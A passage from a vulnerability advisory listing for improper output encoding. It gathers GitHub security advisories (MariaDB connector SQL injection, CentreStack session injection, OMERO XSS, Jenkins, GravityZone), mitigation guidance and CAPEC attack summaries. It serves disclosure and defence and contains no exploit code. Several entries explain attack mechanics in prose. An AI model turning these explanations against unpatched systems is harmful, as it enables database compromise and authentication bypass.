"summary": "OpenZeppelin Contracts vulnerable to Improper Escaping of Output"
}
GHSA-G5M9-Q65C-X6M4
Vulnerability from github – Published: 2024-06-06 09:30 – Updated: 2024-06-11 18:30A host whitelist parser issue in the proxy service implemented in the GravityZone Update Server allows an attacker to cause a server-side request forgery. This issue only affects GravityZone Console versions before 6.38.1-2 that are running only on premise.
{
"affected": [],
"aliases": [
"CVE-2024-4177"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T08:15:39Z",
"severity": "HIGH"
},
"details": "A host whitelist parser issue in the proxy service implemented in the GravityZone Update Server allows an attacker to cause a server-side request forgery. This issue only affects GravityZone Console versions before 6.38.1-2 that are running only on premise.",
"id": "GHSA-g5m9-q65c-x6m4",
"modified": "2024-06-11T18:30:43Z",
"published": "2024-06-06T09:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4177"
},
{
"type": "WEB",
"url": "https://bitdefender.com/consumer/support/support/security-advisories/host-whitelist-parser-issue-in-gravityzone-console-on-premise-va-11554"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-4177"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G5XC-5W98-JFVM
Vulnerability from github – Published: 2026-08-28 22:53 – Updated: 2026-08-28 22:53Summary
A SQL injection is possible when the connector escapes Buffer parameters client-side under a multi-byte client character set whose trail-byte range overlaps the ASCII backslash (0x5C): big5, gbk, sjis, cp932, and gb18030. Under these charsets, an attacker-controlled lead byte can absorb the escape byte the connector inserts, leaving the following quote unescaped so it terminates the string literal and injected SQL is parsed.
Details
When binding a Buffer (binary) parameter, the connector escapes the value byte-by-byte, inserting a backslash (0x5C) before quote (0x27) and backslash bytes. This is correct under single-byte and UTF-8–family charsets, but unsafe under client charsets whose multi-byte trail-byte range includes 0x5C.
On the server, the SQL lexer performs multi-byte character recognition (my_ismbchar) before it interprets escape sequences. If character_set_client is one of the affected charsets and the attacker controls a byte the lexer treats as a valid lead byte, the sequence <0x5C> is consumed as a single multi-byte character. The escaping backslash inserted by the connector is swallowed as that character's trail byte, so the following 0x27 is no longer escaped — it closes the string literal, and the remaining bytes are parsed as SQL.
This is the well-known multi-byte escaping bypass (the same class that historically affected addslashes / mysql_real_escape_string under GBK/Big5), here applied to the connector's client-side Buffer escaping path.
Am I affected?
You are affected if all of the following hold:
You use mariadb Connector/Node.js at a version below the patched releases listed below. The connection's client character set is one of big5, gbk, sjis, cp932, or gb18030. This is not the default (the default is utf8mb4). Untrusted data can reach a Buffer-typed query parameter.
Applications using utf8mb4 (or any charset whose trail-byte range does not include 0x5C) are not affected by this vector. Parameters bound through the binary/server-side prepared-statement path are also not affected, because those values are sent out-of-band and are never escaped into the SQL text.
Impact
SQL injection. An attacker able to influence the contents of a Buffer parameter can break out of the intended string literal and inject arbitrary SQL, leading to unauthorized read or modification of data and, depending on the database account's privileges, further compromise.
Patches
Fixed in 3.2.4, 3.3.3, 3.4.6, and 3.5.3. Upgrade to the patched release on your branch:
- 3.5.x → 3.5.3
- 3.4.x → 3.4.6
- 3.3.x → 3.3.3
- 3.2.x and earlier → 3.2.4 (or any newer release)
Workarounds
If you cannot upgrade immediately:
Use server-side prepared statements (execute) so parameters are bound via the binary protocol rather than escaped into the SQL text. Avoid passing untrusted data as Buffer parameters under the affected charsets.
Credit
Reported by Yalguun Tumenkhuu (@fg0x0).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mariadb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 3.3.3"
},
"package": {
"ecosystem": "npm",
"name": "mariadb"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "mariadb"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "mariadb"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.0"
},
{
"fixed": "3.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55855"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T22:53:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA SQL injection is possible when the connector escapes Buffer parameters client-side under a multi-byte client character set whose trail-byte range overlaps the ASCII backslash (0x5C): big5, gbk, sjis, cp932, and gb18030. Under these charsets, an attacker-controlled lead byte can absorb the escape byte the connector inserts, leaving the following quote unescaped so it terminates the string literal and injected SQL is parsed.\n\n### Details\n\nWhen binding a Buffer (binary) parameter, the connector escapes the value byte-by-byte, inserting a backslash (0x5C) before quote (0x27) and backslash bytes. This is correct under single-byte and UTF-8\u2013family charsets, but unsafe under client charsets whose multi-byte trail-byte range includes 0x5C.\n\nOn the server, the SQL lexer performs multi-byte character recognition (my_ismbchar) before it interprets escape sequences. If character_set_client is one of the affected charsets and the attacker controls a byte the lexer treats as a valid lead byte, the sequence \u003clead-byte\u003e\u003c0x5C\u003e is consumed as a single multi-byte character. The escaping backslash inserted by the connector is swallowed as that character\u0027s trail byte, so the following 0x27 is no longer escaped \u2014 it closes the string literal, and the remaining bytes are parsed as SQL.\n\nThis is the well-known multi-byte escaping bypass (the same class that historically affected addslashes / mysql_real_escape_string under GBK/Big5), here applied to the connector\u0027s client-side Buffer escaping path.\n\n### Am I affected?\n\nYou are affected if all of the following hold:\n\n\nYou use mariadb Connector/Node.js at a version below the patched releases listed below.\nThe connection\u0027s client character set is one of big5, gbk, sjis, cp932, or gb18030. This is not the default (the default is utf8mb4).\nUntrusted data can reach a Buffer-typed query parameter.\n\n\nApplications using utf8mb4 (or any charset whose trail-byte range does not include 0x5C) are not affected by this vector. Parameters bound through the binary/server-side prepared-statement path are also not affected, because those values are sent out-of-band and are never escaped into the SQL text.\n\n### Impact\n\nSQL injection. An attacker able to influence the contents of a Buffer parameter can break out of the intended string literal and inject arbitrary SQL, leading to unauthorized read or modification of data and, depending on the database account\u0027s privileges, further compromise.\n\n### Patches\n\nFixed in 3.2.4, 3.3.3, 3.4.6, and 3.5.3. Upgrade to the patched release on your branch:\n\n\n* 3.5.x \u2192 3.5.3\n* 3.4.x \u2192 3.4.6\n* 3.3.x \u2192 3.3.3\n* 3.2.x and earlier \u2192 3.2.4 (or any newer release)\n\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\nUse server-side prepared statements (execute) so parameters are bound via the binary protocol rather than escaped into the SQL text.\nAvoid passing untrusted data as Buffer parameters under the affected charsets.\n\n\nCredit\n\nReported by Yalguun Tumenkhuu ([@fg0x0](https://github.com/fg0x0/)).",
"id": "GHSA-g5xc-5w98-jfvm",
"modified": "2026-08-28T22:53:12Z",
"published": "2026-08-28T22:53:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mariadb-corporation/mariadb-connector-nodejs/security/advisories/GHSA-g5xc-5w98-jfvm"
},
{
"type": "WEB",
"url": "https://github.com/mariadb-corporation/mariadb-connector-nodejs/commit/0148cadba48064d430902678bbc5b4b62dc1c04f"
},
{
"type": "PACKAGE",
"url": "https://github.com/mariadb-corporation/mariadb-connector-nodejs"
},
{
"type": "WEB",
"url": "https://jira.mariadb.org/browse/CONJS-350"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "MariaDB has possible SQL injection in Buffer parameter escaping under big5/gbk/sjis/cp932/gb18030 client charsets"
}
GHSA-G67G-HVC3-XMVF
Vulnerability from github – Published: 2021-10-14 21:19 – Updated: 2024-10-08 12:42Background
A variety of templates do not perform proper sanitization through HTML escaping.
Due to the lack of sanitization and use of jQuery.html(), there are a whole host of XSS possibilities with specially crafted input to a variety of fields.
Impact
OMERO.web before 5.11.0 and OMERO.figure before 4.4.1.
Patches
Users should upgrade OMERO.web to 5.11.0 or higher and OMERO.figure to 4.4.1 or higher.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "omero-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.11.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "omero-figure"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41132"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-14T18:50:58Z",
"nvd_published_at": "2021-10-14T16:15:00Z",
"severity": "CRITICAL"
},
"details": "### Background\n\nA variety of templates do not perform proper sanitization through HTML escaping.\nDue to the lack of sanitization and use of ``jQuery.html()``, there are a whole host of XSS possibilities with specially crafted input to a variety of fields.\n\n### Impact\n\nOMERO.web before 5.11.0 and OMERO.figure before 4.4.1.\n\n### Patches\nUsers should upgrade OMERO.web to 5.11.0 or higher and OMERO.figure to 4.4.1 or higher.",
"id": "GHSA-g67g-hvc3-xmvf",
"modified": "2024-10-08T12:42:26Z",
"published": "2021-10-14T21:19:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ome/omero-web/security/advisories/GHSA-g67g-hvc3-xmvf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41132"
},
{
"type": "WEB",
"url": "https://github.com/ome/omero-web/commit/0168067accde5e635341b3c714b1d53ae92ba424"
},
{
"type": "PACKAGE",
"url": "https://github.com/ome/omero-web"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/omero-figure/PYSEC-2021-379.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/omero-web/PYSEC-2021-372.yaml"
},
{
"type": "WEB",
"url": "https://www.openmicroscopy.org/security/advisories/2021-SV3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Inconsistent input sanitisation leads to XSS vectors"
}
GHSA-G6J4-F6G3-WMCX
Vulnerability from github – Published: 2023-05-30 21:30 – Updated: 2024-04-04 04:23A vulnerability exists in a FOXMAN-UN and UNEM logging component, it only affects systems that use remote authentication to the network elements. If exploited an attacker could obtain confidential information.
List of CPEs: * cpe:2.3:a:hitachienergy:foxman_un:R9C::::::: * cpe:2.3:a:hitachienergy:foxman_un:R10C:::::::
-
cpe:2.3:a:hitachienergy:foxman_un:R11A:::::::*
-
cpe:2.3:a:hitachienergy:foxman_un:R11B:::::::*
-
cpe:2.3:a:hitachienergy:foxman_un:R14A:::::::*
-
cpe:2.3:a:hitachienergy:foxman_un:R14B:::::::*
-
cpe:2.3:a:hitachienergy:foxman_un:R15A:::::::*
-
cpe:2.3:a:hitachienergy:foxman_un:R15B:::::::*
-
cpe:2.3:a:hitachienergy:foxman_un:R16A:::::::*
- cpe:2.3:a:hitachienergy:unem:R9C:::::::*
-
cpe:2.3:a:hitachienergy: unem :R10C:::::::*
-
cpe:2.3:a:hitachienergy: unem :R11A:::::::*
-
cpe:2.3:a:hitachienergy: unem :R11B:::::::*
-
cpe:2.3:a:hitachienergy: unem :R14A:::::::*
-
cpe:2.3:a:hitachienergy: unem :R14B:::::::*
-
cpe:2.3:a:hitachienergy: unem :R15A:::::::*
-
cpe:2.3:a:hitachienergy: unem :R15B:::::::*
-
cpe:2.3:a:hitachienergy: unem :R16A:::::::*
{
"affected": [],
"aliases": [
"CVE-2023-1711"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-117"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-30T19:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability exists in a FOXMAN-UN and UNEM logging component, it only affects systems that use remote authentication to the network elements. \nIf exploited an attacker could obtain confidential information.\n\n\n\nList of CPEs:\n * cpe:2.3:a:hitachienergy:foxman_un:R9C:*:*:*:*:*:*:*\n * cpe:2.3:a:hitachienergy:foxman_un:R10C:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy:foxman_un:R11A:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy:foxman_un:R11B:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy:foxman_un:R14A:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy:foxman_un:R14B:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy:foxman_un:R15A:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy:foxman_un:R15B:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy:foxman_un:R16A:*:*:*:*:*:*:*\n\n * \n * cpe:2.3:a:hitachienergy:unem:R9C:*:*:*:*:*:*:*\n * cpe:2.3:a:hitachienergy: unem :R10C:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy: unem :R11A:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy: unem :R11B:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy: unem :R14A:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy: unem :R14B:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy: unem :R15A:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy: unem :R15B:*:*:*:*:*:*:*\n\n * cpe:2.3:a:hitachienergy: unem :R16A:*:*:*:*:*:*:*\n\n\n",
"id": "GHSA-g6j4-f6g3-wmcx",
"modified": "2024-04-04T04:23:35Z",
"published": "2023-05-30T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1711"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=8DBD000155\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=8DBD000166\u0026LanguageCode=en\u0026DocumentPartId=\u0026Action=Launch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G6J6-RQG9-WQ7X
Vulnerability from github – Published: 2026-07-30 15:31 – Updated: 2026-07-30 15:31CentreStack before 17.4 contains a session variable injection vulnerability that allows unauthenticated attackers to inject arbitrary session variables by embedding newline and tab characters into a crafted AccountName parameter posted to the SelectProvider.aspx endpoint. Attackers can exploit the lack of input sanitization in the custom session serialization format to inject a resellerid session variable, bypassing the IsValidRSession authentication check and gaining unauthorized access to management pages.
{
"affected": [],
"aliases": [
"CVE-2026-54364"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T13:16:51Z",
"severity": "MODERATE"
},
"details": "CentreStack before 17.4 contains a session variable injection vulnerability that allows unauthenticated attackers to inject arbitrary session variables by embedding newline and tab characters into a crafted AccountName parameter posted to the SelectProvider.aspx endpoint. Attackers can exploit the lack of input sanitization in the custom session serialization format to inject a resellerid session variable, bypassing the IsValidRSession authentication check and gaining unauthorized access to management pages.",
"id": "GHSA-g6j6-rqg9-wq7x",
"modified": "2026-07-30T15:31:50Z",
"published": "2026-07-30T15:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54364"
},
{
"type": "WEB",
"url": "https://www.centrestack.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/centrestack-session-injection-via-selectprovider-aspx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G8V4-MGP3-5F84
Vulnerability from github – Published: 2026-09-02 18:32 – Updated: 2026-09-02 18:32Jenkins 2.579 and earlier, LTS 2.568.2 and earlier does not escape map keys when serializing objects as JSON and Python through its REST API, allowing attackers able to control map property names to inject arbitrary fields into JSON and Python API responses.
{
"affected": [],
"aliases": [
"CVE-2026-84655"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-02T16:17:30Z",
"severity": "MODERATE"
},
"details": "Jenkins 2.579 and earlier, LTS 2.568.2 and earlier does not escape map keys when serializing objects as JSON and Python through its REST API, allowing attackers able to control map property names to inject arbitrary fields into JSON and Python API responses.",
"id": "GHSA-g8v4-mgp3-5f84",
"modified": "2026-09-02T18:32:12Z",
"published": "2026-09-02T18:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84655"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3879"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
Mitigation
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
Mitigation
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
Mitigation
Fully specify which encodings are required by components that will be communicating with each other.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.